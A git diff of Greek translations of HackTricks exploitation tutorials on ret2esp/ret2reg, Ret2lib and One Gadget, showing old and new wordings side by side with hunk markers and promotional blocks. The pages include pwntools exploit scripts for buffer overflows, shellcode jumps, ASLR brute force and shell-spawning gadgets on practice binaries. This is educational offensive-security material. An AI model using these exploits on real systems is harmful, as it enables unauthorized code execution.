Επιπλέον, η δυνατότητα τοποθέτησης του shellcode **μετά την διαφθορά του EIP**, αντί για τη μέση της στοίβας, εξασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη λειτουργία της συνάρτησης δεν επηρεάζουν το shellcode. Αυτή η παρεμβολή θα μπορούσε να συμβεί αν το shellcode τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
### Έλλειψη χώρου
@ -29,7 +30,7 @@
sub rsp, 0x30
jmp rsp
```
Και γράψτε το shellcode στην αρχή του stack.
Και γράψτε το shellcode νωρίς στο stack.
### Παράδειγμα
@ -53,7 +54,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
Μπορείτε να δείτε ένα άλλο παράδειγμα αυτής της τεχνικής στο [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Υπάρχει ένας υπερχείλισμα buffer χωρίς ενεργοποιημένο το NX, χρησιμοποιείται ένα gadget για να **μειώσει τη διεύθυνση του `$esp`** και στη συνέχεια ένα `jmp esp;` για να μεταβεί στο shellcode:
Μπορείτε να δείτε ένα άλλο παράδειγμα αυτής της τεχνικής στο [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Υπάρχει ένας υπερχείλισμος buffer χωρίς το NX ενεργοποιημένο, χρησιμοποιείται ένα gadget για να **μειώσει τη διεύθυνση του `$esp`** και στη συνέχεια ένα `jmp esp;` για να μεταβεί στο shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -98,7 +99,7 @@ target.interactive()
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
* Η **`strcpy`** θα αποθηκεύσει στο **`eax`** τη διεύθυνση του buffer όπου αποθηκεύτηκε το shellcode και το **`eax`** δεν αντικαθίσταται, οπότε είναι δυνατή η χρήση ενός `ret2eax`.
* Το **`strcpy`** θα αποθηκεύσει στο **`eax`** τη διεύθυνση του buffer όπου αποθηκεύτηκε το shellcode και το **`eax`** δεν αντικαθίσταται, οπότε είναι δυνατή η χρήση ενός `ret2eax`.
## ARM64
@ -112,9 +113,9 @@ done
```
{% endcode %}
Τα μόνα που ανακάλυψα θα άλλαζαν την τιμή του μητρώου όπου αντιγράφτηκε το sp πριν από την αλλαγή σε αυτό (έτσι θα έγινε άχρηστο):
Οι μόνοι που ανακάλυψα θα άλλαζαν την τιμή του μητρώου όπου αντιγράφτηκε το sp πριν από την αλλαγή σε αυτό (έτσι θα έγινε άχρηστο):
<figure><img src="../../.gitbook/assets/image (1221).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
@ -124,7 +125,7 @@ ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0
```
{% endcode %}
Στο ARM64, είναι το **`x0`** που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε μπορεί να συμβεί να το x0 να αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.
Στο ARM64, είναι το **`x0`** που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε μπορεί να συμβεί να το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.
Παράδειγμα κώδικα:
```c
@ -153,13 +154,13 @@ return 0;
```
Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης είναι δυνατόν να δούμε ότι η **διεύθυνση του buffer** (ευάλωτο σε bof και **ελεγχόμενο από τον χρήστη**) είναι **αποθηκευμένη στο `x0`** πριν επιστρέψουμε από την υπερχείλιση του buffer:
<figure><img src="../../.gitbook/assets/image (1222).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
Είναι επίσης δυνατόν να βρεθεί το gadget **`br x0`** στη συνάρτηση **`do_stuff`**:
<figure><img src="../../.gitbook/assets/image (1223).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
Θα χρησιμοποιήσουμε αυτό το gadget για να μεταβούμε σε αυτόν επειδή το δυαδικό αρχείο είναι μεταγλωττισμένο **ΧΩΡΙΣ PIE.** Χρησιμοποιώντας ένα πρότυπο είναι δυνατόν να δούμε ότι το **offset της υπερχείλισης του buffer είναι 80**, έτσι το exploit θα είναι:
Θα χρησιμοποιήσουμε αυτό το gadget για να μεταβούμε σε αυτό επειδή το δυαδικό αρχείο είναι μεταγλωττισμένο **ΧΩΡΙΣ PIE.** Χρησιμοποιώντας ένα πρότυπο είναι δυνατόν να δούμε ότι το **offset της υπερχείλισης του buffer είναι 80**, έτσι το exploit θα είναι:
```python
from pwn import *
@ -175,7 +176,7 @@ p.sendline(payload)
p.interactive()
```
{% hint style="warning" %}
Αν αντί για το `fgets` χρησιμοποιούνταν κάτι σαν το **`read`**, θα ήταν δυνατό να παρακαμφθεί το PIE απλά με το **υπερεγγραφή των τελευταίων 2 bytes της διεύθυνσης επιστροφής** για να γίνει επιστροφή στην εντολή `br x0;` χωρίς την ανάγκη για την πλήρη διεύθυνση.\
Αν αντί για το `fgets` χρησιμοποιούνταν κάτι σαν το **`read`**, θα ήταν δυνατό να παρακαμφθεί το PIE επίσης με **τον απλό προσδιορισμό των τελευταίων 2 bytes της διεύθυνσης επιστροφής** για να επιστρέψει στην εντολή `br x0;` χωρίς την ανάγκη να γνωρίζει την πλήρη διεύθυνση.\
Με το `fgets` δεν λειτουργεί επειδή **προσθέτει ένα null (0x00) byte στο τέλος**.
{% endhint %}
@ -189,16 +190,17 @@ p.interactive()
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2lib
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## **Βασικές Πληροφορίες**
@ -20,32 +21,34 @@
### **Παραδειγματικά Βήματα (απλουστευμένα)**
* Αποκτήστε τη διεύθυνση της συνάρτησης που θέλετε να καλέσετε (π.χ. system) και την εντολή που θέλετε να καλέσετε (π.χ. /bin/sh)
* Δημιουργήστε μια ROP αλυσίδα για να περάσετε το πρώτο όρισμα που δείχνει στο αλφαριθμητικό εντολής και τη ροή εκτέλεσης στη συνάρτηση
* Αποκτήστε τη διεύθυνση της συνάρτησης που θα καλείτε (π.χ. system) και την εντολή που θα καλείτε (π.χ. /bin/sh)
* Δημιουργήστε μια αλυσίδα ROP για να περάσετε το πρώτο όρισμα που δείχνει στο συμβολοσειρά εντολών και τη ροή εκτέλεσης στη συνάρτηση
## Εύρεση των διευθύνσεων
* Υποθέτοντας ότι η `libc` που χρησιμοποιείται είναι αυτή της τρέχουσας μηχανής, μπορείτε να βρείτε πού θα φορτωθεί στη μνήμη με:
* Υποθέτοντας ότι η `libc` που χρησιμοποιείται είναι αυτή από την τρέχουσα μηχανή, μπορείτε να βρείτε πού θα φορτωθεί στη μνήμη με:
{% code overflow="wrap" %}
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
{% endcode %}
Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της βιβλιοθήκης libc, μπορείτε να το κάνετε:
Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της βιβλιοθήκης libc μπορείτε να κάνετε:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
* Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατό να βρεθεί το offset στη συνάρτηση `system` με:
* Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατόν να βρεθεί το offset προς τη συνάρτηση `system` με:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
* Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατό να βρεθεί το offset της συνάρτησης που περιέχει το string `/bin/sh` με:
* Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατό να βρεθεί το offset για το string `/bin/sh` function με:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Χρησιμοποιώντας το gdb-peda / GEF
Γνωρίζοντας την βιβλιοθήκη libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιηθεί το Peda ή το GEF για να ληφθεί η διεύθυνση της συνάρτησης **system**, της συνάρτησης **exit** και του string **`/bin/sh`** :
Γνωρίζοντας την βιβλιοθήκη libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιηθεί το Peda ή το GEF για να ανακτηθεί η διεύθυνση της συνάρτησης **system**, της συνάρτησης **exit** και του string **`/bin/sh`** :
```bash
p system
p exit
@ -57,13 +60,13 @@ find "/bin/sh"
Εδώ μπορείτε να βρείτε **ακριβώς πού φορτώνεται η libc** μέσα στη διεργασία και **πού θα φορτωθεί** για κάθε παιδί της διεργασίας.
![](<../../../.gitbook/assets/image (850).png>)
![](<../../../.gitbook/assets/image (853).png>)
Σε αυτήν την περίπτωση φορτώνεται στη **0xb75dc000** (Αυτή θα είναι η βασική διεύθυνση της libc)
Σε αυτήν την περίπτωση φορτώνεται στη θέση **0xb75dc000** (Αυτή θα είναι η βασική διεύθυνση της libc)
## Άγνωστη libc
Μπορεί να είναι δυνατόν να **μην γνωρίζετε την libc που φορτώνει** το δυαδικό αρχείο (επειδή μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτήν την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε μερικές διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc** χρησιμοποιείται:
Μπορεί να είναι δυνατόν να **μην γνωρίζετε την libc που φορτώνει** το δυαδικό αρχείο (επειδή μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτήν την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε μερικές διευθύνσεις και να βρείτε ποια libc** βιβλιοθήκη χρησιμοποιείται:
{% content-ref url="rop-leaking-libc-address/" %}
[rop-leaking-libc-address](rop-leaking-libc-address/)
@ -77,7 +80,7 @@ find "/bin/sh"
### Γνωρίζοντας την libc με 2 μετατοπίσεις
Ελέγξτε τη σελίδα [https://libc.blukat.me/](https://libc.blukat.me/) και χρησιμοποιήστε **μερικές διευθύνσεις** συναρτήσεων μέσα στην libc για να βρείτε τη **χρησιμοποιούμενη έκδοση**.
Ελέγξτε τη σελίδα [https://libc.blukat.me/](https://libc.blukat.me/) και χρησιμοποιήστε **μερικές διευθύνσεις** συναρτήσεων μέσα στην libc για να ανακαλύψετε τη **χρησιμοποιούμενη έκδοση**.
## Παράκαμψη του ASLR σε 32 bits
@ -87,7 +90,7 @@ find "/bin/sh"
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **δοκιμάσετε με βία τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο **διακομιστής καθυστερεί 10 δευτερόλεπτα περισσότερο για να ανταποκριθεί**, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.
* Εάν επιτεθείτε σε ένα απομακρυσμένο διακομιστή, μπορείτε να δοκιμάσετε να **δοκιμάσετε με βία τη διεύθυνση της συνάρτησης `usleep` της `libc`**, περνώντας ως όρισμα τον αριθμό 10 (για παράδειγμα). Εάν σε κάποιο σημείο ο **διακομιστής χρειάζεται 10 δευτερόλεπτα παραπάνω για να ανταποκριθεί**, τότε βρήκατε τη διεύθυνση αυτής της συνάρτησης.
## One Gadget
@ -99,7 +102,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
## x86 Παράδειγμα Κώδικα Ret2lib
Σε αυτό το παράδειγμα, η ASLR brute-force ενσωματώνεται στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή:
Σε αυτό το παράδειγμα, η brute-force του ASLR ενσωματώνεται στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή:
```python
from pwn import *
@ -115,7 +118,7 @@ payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## Παράδειγμα κώδικα x64 Ret2lib
## Παράδειγμα Κώδικα x64 Ret2lib
Ελέγξτε το παράδειγμα από:
@ -127,7 +130,7 @@ c.interactive()
Στην περίπτωση του ARM64, η εντολή ret αναπηδάει στο σημείο όπου δείχνει το μητρώο x30 και όχι στο σημείο όπου δείχνει το μητρώο στοίβας. Έτσι είναι λίγο πιο περίπλοκο.
Επίσης, στο ARM64 μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατή η μετάβαση στη μέση των εντολών και η μετατροπή τους σε νέες).
Επίσης, στο ARM64 μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατό να αλλάξετε στη μέση των εντολών και να τις μετατρέψετε σε νέες).
Ελέγξτε το παράδειγμα από:
@ -141,7 +144,7 @@ c.interactive()
## Ret2printf
Αυτό σημαίνει ουσιαστικά την κατάχρηση ενός **Ret2lib για να το μετατρέψετε σε μια ευπάθεια συμβολοσειράς `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσετε το printf με τις τιμές που θα το εκμεταλλευτείτε (ακούγεται άχρηστο αλλά είναι δυνατό):
Αυτό σημαίνει ουσιαστικά την κατάχρηση ενός **Ret2lib για να το μετατρέψετε σε μια ευπάθεια συμβολοσειράς `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσετε το printf με τις τιμές που εκμεταλλεύεστε (ακούγεται άχρηστο αλλά είναι δυνατό):
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -154,10 +157,10 @@ c.interactive()
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ενεργοποιημένο το ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε ένα υπερχείλισμα μέχρι το byte 0x00 του canary και στη συνέχεια να καλέσετε το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσετε το puts και να διαρρεύσετε τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσετε `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bits, ενεργοποιημένο το ASLR, χωρίς canary, υπερχείλισμα στη στοίβα main από μια παιδική συνάρτηση. ROP gadget για να καλέσετε το puts και να διαρρεύσετε τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσετε ένα one gadget.
* 64 bits, ενεργοποιημένο το ASLR, χωρίς canary, υπερχείλισμα στη στοίβα στη main από μια παιδική συνάρτηση. ROP gadget για να καλέσετε το puts και να διαρρεύσετε τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσετε ένα one gadget.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
* 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη λειτουργία write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα one gadget.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Χρησιμοποιεί μια συμβολοσειρά μορφοποίησης για να διαρρεύσει το canary από τη στοίβα και ένα υπερχείλισμα buffer για να καλέσει το σύστημα (είναι στο GOT) με τη διεύθυνση του `/bin/sh`.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κατάχρηση ενός κακού δείκτη για να διαρρεύσει διευθύνσεις του libc και της στοίβας από τη στοίβα. Κατάχρηση του υπερχείλισμου buffer για να κάνει ένα ret2lib καλώντας το `system('/bin/sh')` (η διεύθυνση της στοίβας χρειάζεται για να παρακάμψει έναν έλεγχο).
* 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κατάχρηση ενός κακού δείκτη για να διαρρεύσει διευθύνσεις του libc και της στοίβας από τη στοίβα. Κατάχρηση του υπερχείλισμα buffer για να κάνει ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της στοίβας χρειάζεται για να παρακάμψει έναν έλεγχο).

View file

@ -1,33 +1,34 @@
# One Gadget
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
[**One Gadget**](https://github.com/david942j/one\_gadget) επιτρέπει την απόκτηση ενός κέλυφους αντί για τη χρήση της **system** και του **"/bin/sh". Το One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσετε ένα κέλυφος (`execve("/bin/sh")`) χρησιμοποιώντας μόνο ένα **διεύθυνση**.\
Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλά πρέπει να στείλετε κάποιες επιπλέον τιμές NULL ώστε ο περιορισμός να αποφευχθεί.
[**One Gadget**](https://github.com/david942j/one\_gadget) επιτρέπει την απόκτηση ενός κέλυφους αντί να χρησιμοποιείτε το **system** και το **"/bin/sh". Το One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσετε ένα κέλυφος (`execve("/bin/sh")`) χρησιμοποιώντας μόνο ένα **διεύθυνση**.\
Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο συνηθισμένοι και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλά πρέπει να στείλετε περισσότερες τιμές NULL ώστε ο περιορισμός να αποφευχθεί.
![](<../../../.gitbook/assets/image (751).png>)
![](<../../../.gitbook/assets/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
Για τη διεύθυνση που υποδεικνύεται από το One Gadget χρειάζεται **να προστεθεί η βασική διεύθυνση όπου φορτώνεται η `libc`**.
Για να βρείτε τη διεύθυνση που υποδεικνύει το One Gadget χρειάζεται **να προσθέσετε τη βασική διεύθυνση όπου φορτώνεται η `libc`**.
{% hint style="success" %}
Το One Gadget είναι μια **μεγάλη βοήθεια για τεχνικές Arbitrary Write 2 Exec** και μπορεί **να απλοποιήσει τις ROP αλυσίδες** καθώς χρειάζεται μόνο να καλέσετε μια διεύθυνση (και να εκπληρώσετε τις απαιτήσεις).
Το One Gadget είναι μια **μεγάλη βοήθεια για τεχνικές Arbitrary Write 2 Exec** και μπορεί να **απλοποιήσει τις ROP αλυσίδες** καθώς χρειάζεται μόνο να καλέσετε μια διεύθυνση (και να εκπληρώσετε τις απαιτήσεις).
{% endhint %}
### ARM64
@ -37,22 +38,23 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
## Angry Gadget
Από το [**αποθετήριο στο github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Εμπνευσμένο από το [OneGadget](https://github.com/david942j/one\_gadget) αυτό το εργαλείο είναι γραμμένο σε python και χρησιμοποιεί το [angr](https://github.com/angr/angr) για να ελέγξει τον περιορισμό για gadgets που εκτελούν `execve('/bin/sh', NULL, NULL)`\
Αν έχετε εξαντλήσει τα gadgets που θέλετε να δοκιμάσετε από το OneGadget, το Angry Gadget προσφέρει πολλά περισσότερα με περίπλοκους περιορισμούς για δοκιμή!
Αν έχετε εξαντλήσει τα gadgets που θέλετε να δοκιμάσετε από το One Gadget, το Angry Gadget προσφέρει πολλά περισσότερα με πιο περίπλοκους περιορισμούς για δοκιμή!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
